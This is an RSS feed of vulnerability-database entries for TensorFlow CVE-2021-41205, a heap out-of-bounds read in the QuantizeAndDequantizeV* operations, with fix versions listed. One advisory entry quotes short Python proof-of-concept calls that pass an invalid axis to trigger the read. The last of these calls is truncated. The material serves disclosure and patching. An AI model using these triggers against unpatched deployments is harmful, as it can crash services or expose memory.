https://cve.radiocsirt.org/rss/recent/all/10 Most recent entries from all 2026-10-06T06:00:52.536339+00:00 Vulnerability-Lookup csirt@opendfir.org python-feedgen Contains only the most 10 recent entries. https://cve.radiocsirt.org/vuln/bit-tensorflow-2021-41205 BIT-tensorflow-2021-41205 — Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops 2026-10-06T06:00:52.544686+00:00

Affected: Bitnami: tensorflow

TensorFlow is an open source platform for machine learning. In affected versions the shape inference functions for the `QuantizeAndDequantizeV*` operations can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

 https://cve.radiocsirt.org/vuln/cnvd-2021-85887 cnvd-2021-85887 2026-10-06T06:00:52.544756+00:00 cnvd-2021-85887 https://cve.radiocsirt.org/vuln/euvd-2026-31581 EUVD-2026-31581 2026-10-06T06:00:52.544779+00:00 EUVD-2026-31581 https://cve.radiocsirt.org/vuln/fkie_cve-2021-41205 fkie_cve-2021-41205 2026-10-06T06:00:52.544799+00:00

TensorFlow is an open source platform for machine learning. In affected versions the shape inference functions for the `QuantizeAndDequantizeV*` operations can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

 https://cve.radiocsirt.org/vuln/ghsa-49rx-x2rw-pc6f GHSA-49rx-x2rw-pc6f — Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops 2026-10-06T06:00:52.544836+00:00

Affected: PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu

### Impact The [shape inference functions for the `QuantizeAndDequantizeV*` operations](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/array_ops.cc) can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:

```python import tensorflow as tf

@tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV4Grad( gradients=[1.0,1.0], input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], axis=-100) return data

test() ```

```python import tensorflow as tf

@tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV4( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, round_mode='HALF_TO_EVEN', narrow_range=False, axis=-100) return data

test() ```

```python import tensorflow as tf

@tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV3( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, narrow_range=False, axis=-100) return data

test() ```

```python import tensorflow as tf

@tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV2( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, round_mode='HALF_TO_EVEN', narrow_range=Fals…

 https://cve.radiocsirt.org/vuln/gsd-2021-41205 gsd-2021-41205 2026-10-06T06:00:52.544952+00:00 gsd-2021-41205 https://cve.radiocsirt.org/vuln/opensuse-su-2024:12116-1 openSUSE-SU-2024:12116-1 — tensorflow-lite-2.9.1-1.1 on GA media 2026-10-06T06:00:52.544972+00:00

tensorflow-lite-2.9.1-1.1 on GA media

 https://cve.radiocsirt.org/vuln/pysec-2021-398 PYSEC-2021-398 2026-10-06T06:00:52.545084+00:00

Affected: PyPI: tensorflow

TensorFlow is an open source platform for machine learning. In affected versions the shape inference functions for the `QuantizeAndDequantizeV*` operations can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.